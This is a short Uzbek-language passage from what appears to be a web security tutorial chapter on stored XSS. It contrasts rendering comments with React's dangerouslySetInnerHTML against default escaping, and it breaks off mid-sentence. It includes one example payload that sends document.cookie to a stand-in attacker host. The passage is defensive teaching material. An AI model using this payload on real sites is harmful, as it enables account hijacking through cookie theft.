Bu nima qiladi: Bu — stored XSS (eng keng holat — izoh tizimi — 2.1, 2.2). Xavfli kod: izohni dangerouslySetInnerHTML bilan ko'rsatish — agar izoh <script>fetch('//hacker.com?c='+document.cookie)</script> bo'lsa, React uni HTML deb o'qiydi va <script> ishlaydi (har izohni o'qigan foydalanuvchi brauzerida — cookie hujumchiga ketadi — hisob o'g'irlanadi). Bu stored XSS (DB'dagi izoh — har ko'rgan qurbonga). Xavfsiz kod 1: oddiy <div>{text}</div> — React avtomatik escape 2.4-bob qiladi (< > &lt; &gt;), natijada izoh <script>... bo'lsa ham — ekranda matn sifatida ko'rinadi ("

14.2-bob: XSS (Cross-Site Scripting) — Wisar